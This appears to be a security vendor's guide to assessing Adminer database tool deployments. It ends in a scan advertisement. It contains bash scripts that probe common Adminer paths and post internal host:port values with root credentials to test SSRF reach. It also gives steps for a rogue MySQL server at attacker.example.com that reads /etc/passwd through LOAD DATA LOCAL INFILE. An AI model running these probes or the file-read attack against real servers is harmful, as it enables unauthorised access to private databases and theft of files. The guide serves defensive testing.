Adminer (formerly phpMinAdmin) is a lightweight single-file PHP database administration tool that supports MySQL, PostgreSQL, SQLite, Oracle, and other databases. Its simplicity makes it extremely common in web hosting environments, development stacks, and internal tools — and its design creates predictable security risks: Adminer is commonly found at /adminer.php, /adminer/, or /db/ with no authentication gate of its own, relying entirely on database credentials; the server field in Adminer's login form accepts any hostname or IP address that the PHP process can reach — pointing it to an internal database server constitutes SSRF, allowing an attacker to reach and authenticate against databases on the private network from the public internet; CVE-2021-43008 is a path traversal vulnerability in Adminer versions prior to 4.8.1 that allows an authenticated user (with any database credentials) to read arbitrary files from the web server; Adminer's file read functionality through MySQL's LOAD DATA LOCAL INFILE allows reading server files via a malicious MySQL server the attacker controls; and Adminer's export feature writes database dumps that may be accessible in the web root. This guide covers systematic Adminer security assessment.
# Adminer is a single PHP file — look for it at common paths
PATHS=("/adminer.php" "/adminer/" "/adminer/adminer.php"
"/db/" "/db/adminer.php" "/database/" "/phpadmin.php"
"/admin/adminer.php" "/tools/adminer.php" "/adminer4.php")
TARGET="https://example.com"
for PATH in "${PATHS[@]}"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${PATH}" 2>/dev/null)
if [ "$CODE" == "200" ]; then
echo "Found Adminer at ${TARGET}${PATH}"
# Get version from page
curl -s "${TARGET}${PATH}" 2>/dev/null | \
grep -oE 'Adminer [0-9]+\.[0-9]+(\.[0-9]+)?' | head -1
fi
done
# The Adminer server field is the core SSRF vector
# Adminer accepts any server:port combination that the PHP host can reach
# This allows reaching databases on the internal network that are not internet-accessible
# Test 1: Probe internal database servers via Adminer server field
# Adminer will attempt a TCP connection to the specified host:port
# A connection error vs timeout reveals whether the port is open
# POST to Adminer with internal server to test reachability
# The response HTML reveals whether the connection succeeded or failed
for INTERNAL_HOST in "10.0.0.1:3306" "10.0.0.2:5432" "172.17.0.1:3306" \
"db:3306" "mysql:3306" "postgres:5432" "database:3306"; do
RESPONSE=$(curl -s -X POST "https://example.com/adminer.php" \
--data "auth%5Bserver%5D=${INTERNAL_HOST}&auth%5Busername%5D=root&auth%5Bpassword%5D=&auth%5Bdb%5D=&auth%5Bdriver%5D=server" \
2>/dev/null)
if echo "$RESPONSE" | grep -q "Unknown database\|Access denied\|Table\|SELECT"; then
echo "REACHABLE AND RESPONDING: ${INTERNAL_HOST} — connection succeeded"
elif echo "$RESPONSE" | grep -q "Connection refused\|No connection"; then
echo "REACHABLE BUT CLOSED: ${INTERNAL_HOST}"
else
echo "TIMEOUT/UNREACHABLE: ${INTERNAL_HOST}"
fi
done
# Test 2: Adminer can connect to attacker-controlled MySQL server
# This allows reading server files via LOAD DATA LOCAL INFILE
# Set up a rogue MySQL server that sends LOAD DATA LOCAL INFILE for target files:
# github.com/Gifts/Rogue-MySql-Server or manual implementation
# With attacker-controlled MySQL server running, submit Adminer's login form
# with attacker server as the "server" parameter
echo "Rogue MySQL SSRF attack:"
echo "1. Start rogue MySQL server: python3 rogue_mysql.py --port 3306 --file /etc/passwd"
echo "2. POST adminer.php server=attacker.example.com:3306&username=any&password=any"
echo "3. Adminer connects to attacker server, receives LOAD DATA LOCAL INFILE request"
echo "4. Adminer reads target file from web server and sends contents to attacker MySQL"
local_infile = 0 in MySQL's my.cnf to prevent the LOAD DATA LOCAL INFILE attack vector; this is also a general MySQL security best practice| Security Test | Method | Risk |
|---|---|---|
| Adminer accessible at predictable paths without auth gate | Probe /adminer.php, /adminer/, /db/ — login form accessible = database brute force possible | High |
| SSRF via server field to internal databases | POST to Adminer with internal host:port in server field — connects to internal MySQL/PostgreSQL via PHP network | Critical |
| Rogue MySQL SSRF file read via LOAD DATA LOCAL INFILE | Point Adminer server field at attacker-controlled MySQL server — reads web server files via MySQL protocol | High |
| CVE-2021-43008 path traversal (Adminer < 4.8.1) | Authenticated path traversal — reads arbitrary files from the web server filesystem | High |
| Internal database credential brute force via Adminer | Submit login form with common credentials against internal database — bypasses network restrictions | High |
| Export files accessible in web root | GET /adminer_export.sql or similar — database dump files written during Adminer export operations | High |
Ironimo tests Adminer deployments for login pages accessible at common predictable paths without any authentication gate, SSRF via the server field allowing connections to internal database servers on the private network, rogue MySQL server SSRF enabling web server file reads via the LOAD DATA LOCAL INFILE protocol, CVE-2021-43008 path traversal in versions prior to 4.8.1, database export files accessible in the web document root, and internal database credential testing via Adminer's login form bypassing network restrictions.
Start free scan